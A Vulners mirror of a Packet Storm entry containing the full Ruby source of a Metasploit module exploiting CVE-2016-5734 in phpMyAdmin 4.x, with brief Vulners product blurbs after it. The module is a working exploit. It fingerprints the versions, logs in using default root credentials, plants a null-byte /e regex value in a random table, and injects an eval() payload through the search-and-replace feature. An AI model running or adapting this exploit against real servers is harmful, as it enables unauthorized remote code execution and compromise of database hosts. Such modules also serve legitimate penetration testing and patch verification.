Lucene search
K

phpMyAdmin 4.x Remote Code Execution

🗓️ 18 Jun 2018 00:00:00Reported by Matteo CantoniType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 149 Views

phpMyAdmin 4.x Remote Code Executio

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'phpMyAdmin Authenticated Remote Code Execution',  
'Description' => %q{  
phpMyAdmin 4.0.x before 4.0.10.16, 4.4.x before 4.4.15.7, and 4.6.x before  
4.6.3 does not properly choose delimiters to prevent use of the preg_replace  
(aka eval) modifier, which might allow remote attackers to execute arbitrary  
PHP code via a crafted string, as demonstrated by the table search-and-replace  
implementation.  
},  
'Author' =>  
[  
'Michal AihaA and Cure53', # Discovery  
'Matteo Cantoni <goony[at]nothink.org>' # Metasploit Module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'BID', '91387' ],  
[ 'CVE', '2016-5734' ],  
[ 'CWE', '661' ],  
[ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2016-27/' ],  
[ 'URL', 'https://security.gentoo.org/glsa/201701-32' ],  
[ 'URL', 'https://www.exploit-db.com/exploits/40185/' ],  
],  
'Privileged' => true,  
'Platform' => [ 'php' ],  
'Arch' => ARCH_PHP,  
'Payload' =>  
{  
'BadChars' => "&\n=+%",  
},  
'Targets' =>  
[  
[ 'Automatic', {} ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jun 23 2016'))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),  
OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),  
OptString.new('PASSWORD', [ false, "Password to authenticate with", '']),  
OptString.new('DATABASE', [ true, "Existing database at a server", 'phpmyadmin'])  
])  
end  
  
def check  
begin  
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') })  
rescue  
print_error("#{peer} - Unable to connect to server")  
return Exploit::CheckCode::Unknown  
end  
  
if res.nil? || res.code != 200  
print_error("#{peer} - Unable to query /js/messages.php")  
return Exploit::CheckCode::Unknown  
end  
  
# PHP 4.3.0-5.4.6  
# PHP > 5.4.6 not exploitable because null byte in regexp warning  
php_version = res['X-Powered-By']  
if php_version  
vprint_status("#{peer} - PHP version: #{php_version}")  
  
if php_version =~ /PHP\/(\d+\.\d+\.\d+)/  
version = Gem::Version.new($1)  
vprint_status("#{peer} - PHP version: #{version.to_s}")  
if version > Gem::Version.new('5.4.6')  
return Exploit::CheckCode::Safe  
end  
end  
else  
vprint_status("#{peer} - Unknown PHP version")  
end  
  
# 4.3.0 - 4.6.2 authorized user RCE exploit  
if res.body =~ /pmaversion = '(\d+\.\d+\.\d+)';/  
version = Gem::Version.new($1)  
vprint_status("#{peer} - phpMyAdmin version: #{version.to_s}")  
  
if version >= Gem::Version.new('4.3.0') and version <= Gem::Version.new('4.6.2')  
return Exploit::CheckCode::Appears  
elsif version < Gem::Version.new('4.3.0')  
return Exploit::CheckCode::Detected  
end  
return Exploit::CheckCode::Safe  
end  
  
return Exploit::CheckCode::Unknown  
end  
  
def exploit  
return unless check == Exploit::CheckCode::Appears  
  
uri = target_uri.path  
vprint_status("#{peer} - Grabbing CSRF token...")  
  
response = send_request_cgi({ 'uri' => uri})  
  
if response.nil?  
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token")  
elsif (response.body !~ /"token"\s*value="([^"]*)"/)  
fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")  
end  
  
token = $1  
vprint_status("#{peer} - Retrieved token #{token}")  
  
vprint_status("#{peer} - Authenticating...")  
login = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, 'index.php'),  
'vars_post' => {  
'token' => token,  
'pma_username' => datastore['USERNAME'],  
'pma_password' => datastore['PASSWORD']  
}  
})  
  
if login.nil?  
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")  
elsif login.redirect?  
token = login.redirection.to_s.scan(/token=(.*)[&|$]/).flatten.first  
else  
fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Wrong phpMyAdmin version?")  
end  
  
cookies = login.get_cookies  
  
login_check = send_request_cgi({  
'uri' => normalize_uri(uri, 'index.php'),  
'vars_get' => { 'token' => token },  
'cookie' => cookies  
})  
  
if login_check.nil?  
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")  
elsif login_check.body =~ /Welcome to/  
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")  
end  
  
vprint_status("#{peer} - Authentication successful")  
  
# Create random table and column  
rand_table = Rex::Text.rand_text_alpha_lower(3+rand(3))  
rand_column = Rex::Text.rand_text_alpha_lower(3+rand(3))  
sql_value = '0%2Fe%00'  
  
vprint_status("#{peer} - Create random table '#{rand_table}' into '#{datastore['DATABASE']}' database...");  
  
create_rand_table = send_request_cgi({  
'uri' => normalize_uri(uri, 'import.php'),  
'method' => 'POST',  
'cookie' => cookies,  
'encode_params' => false,  
'vars_post' => {  
'show_query' => '0',  
'ajax_request' => 'true',  
'db' => datastore['DATABASE'],  
'pos' => '0',  
'is_js_confirmed' => '0',  
'fk_checks' => '0',  
'sql_delimiter' => ';',  
'token' => token,  
'SQL' => 'Go',  
'ajax_page_request' => 'true',  
'sql_query' => "CREATE+TABLE+`#{rand_table}`+( ++++++`#{rand_column}`+varchar(10)+CHARACTER+SET"\  
"+utf8+NOT+NULL ++++)+ENGINE=InnoDB+DEFAULT+CHARSET=latin1; ++++INSERT+INTO+`#{rand_table}`+"\  
"(`#{rand_column}`)+VALUES+('#{sql_value}'); ++++",  
}  
})  
  
if create_rand_table.nil? || create_rand_table.body =~ /(.*)<code>\\n(.*)\\n<\\\/code>(.*)/i  
fail_with(Failure::Unknown, "#{peer} - Failed to create a random table")  
end  
  
vprint_status("#{peer} - Random table created")  
  
# Execute command  
command = Rex::Text.uri_encode(payload.encoded)  
  
exec_cmd = send_request_cgi({  
'uri' => normalize_uri(uri, 'tbl_find_replace.php'),  
'method' => 'POST',  
'cookie' => cookies,  
'encode_params' => false,  
'vars_post' =>{  
'columnIndex' => '0',  
'token' => token,  
'submit' => 'Go',  
'ajax_request' => 'true',  
'goto' => 'sql.php',  
'table' => rand_table,  
'replaceWith' => "eval%28%22#{command}%22%29%3B",  
'db' => datastore['DATABASE'],  
'find' => sql_value,  
'useRegex' => 'on'  
}  
})  
  
# Remove random table  
vprint_status("#{peer} - Remove the random table '#{rand_table}' from '#{datastore['DATABASE']}' database")  
  
rm_table = send_request_cgi({  
'uri' => normalize_uri(uri, 'import.php'),  
'method' => 'POST',  
'cookie' => cookies,  
'encode_params' => false,  
'vars_post' => {  
'show_query' => '0',  
'ajax_request' => 'true',  
'db' => datastore['DATABASE'],  
'pos' => '0',  
'is_js_confirmed' => '0',  
'fk_checks' => '0',  
'sql_delimiter' => ';',  
'token' => token,  
'SQL' => 'Go',  
'ajax_page_request' => 'true',  
'sql_query' => "DROP+TABLE+`#{rand_table}`"  
}  
})  
  
if rm_table.nil? || rm_table.body !~ /(.*)MySQL returned an empty result set \(i.e. zero rows\).(.*)/i  
print_bad("#{peer} - Failed to remove the table '#{rand_table}'")  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation